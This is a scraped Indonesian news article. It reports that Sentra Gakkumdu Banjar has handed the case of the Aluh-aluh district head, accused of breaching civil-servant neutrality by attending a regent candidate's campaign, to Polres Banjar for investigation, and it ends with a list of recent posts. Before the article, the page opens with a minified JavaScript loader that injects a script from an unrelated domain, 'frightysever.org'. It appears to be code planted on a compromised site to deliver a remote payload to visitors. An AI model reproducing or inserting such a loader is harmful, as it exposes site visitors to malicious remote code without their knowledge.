(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kasus Keterlibatan Kampanye Camat SE, Sentra Gakkumdu Limpahkan ke Polres Banjar


KANALKALIMANTAN.COM, MARTAPURA – Dianggap memenuhi syarat dan diduga ada unsur pidana pemilu, Sentra Gakkumdu Banjar sepakat kasus keterlibatan oknum ASN (Aparatur Sipil Negara) Pemkab Banjar pada kampanye salah satu pasangan calon terpenuhi dengan bukti pelapor. Sentra Gakkumdu Banjar membawa kasus dugaan pelanggaran netralitas Camat Aluh-aluh SE ke tahap kedua.

Naik ke tahap dua kasus dugaan keterlibatan oknum Camat Aluh-aluh Kabupaten Banjar ini dilimpahkan oleh Gakkumdu Banjar ke Polres Banjar guna dilakukan penyidikan.

“Setelah sebelumnya ditangani di Sentra Gakkumdu Banjar ditahap pertama, kami yang terdiri dari 3 instansi Bawaslu, Polres Banjar dan Kejaksaan menaikan kasus ini ke tahap kedua, yang mana sekarang untuk lidiknya diserahkan ke Polres Banjar,” ujar Koordinator Gakkumdu Banjar Muhammad Syahrial Fitri.

Ditambahkan Syahrial setelah dilakukan pencermatan di Gakkumdu Banjar berdasarkan bukti dan saksi pihaknya hanya menetapkan satu orang terlapor, sementara keterlibatan pasangan calon dalam kampanye waktu itu di Kecamatan Aluh-aluh tidak ditemukan unsur pidana.

Sentra Gakkumdu Banjar limpahkan kasus dugaan keterlibatan kampanye oknum ASN saat kampanye salah satu pasangan calon. Foto : ist

“Berdasarkan hasil pencermatan kami untuk posisi terlapor hanya ditetapkan satu orang, sementara keterlibatan pihak Paslon Bupati Banjar sendiri tidak kami temukan,” katanya.

Adapun keberlanjutan tahap kedua yang sekarang di tangani oleh tim penyidik dari Polres Banjar setidaknya membutuhkan waktu selama dua pekan, jika kembali memenuhi unsur pidana Pemilu maka kasus ini akan kembali di bawa ke pengadilan.

Kasus dugaan pelanggaran netralitas ASN dan pidana pemilu bermula dari laporan warga Kecamatan Aluh-aluh Kasmayuda. Camat SE dilaporkan melanggar netralitas sebagai seorang ASN yang hadir di kampanye Paslon Bupati Banjar Nomor Urut 1 H Saidi Mansyur-Habib Idrus Alhabsyi. Pelapor menyerahkan sejumlah berkas dan bukti dukung berupa foto hingga video kegiatan kampanye yang diduga melibatkan kehadiran Camat SE.

Sekadar diketahui Pemerintah Kabupaten Banjar sudah menerbitkan Surat Edaran (SE) Nomor : 800/458PPK.2/BKDPSDM tentang netralitas ASN (Aparatur Sipil Negara) yang langsung diturunkan dan diteken oleh Bupati Kabupaten Banjar H Khalilurrahman kepada seluruh SKPD di Pemkab Banjar.

*Klik disini untuk baca atau download SE Pemkab Banjar tentang netralitas ASN dalam Pilkada (red)

Jika terbukti melanggar netralitas, Aparatur Sipil Negara (ASN) Pemkab Banjar, Camat Aluh-aluh SE bakal kena sanksi dari Komisi Aparatur Sipil Negara (KASN). (kanalkalimantan.com/tim)

Editor : Bie


Desy Arfianty

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

5 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

5 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

6 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

17 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

17 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

18 jam ago

This website uses cookies.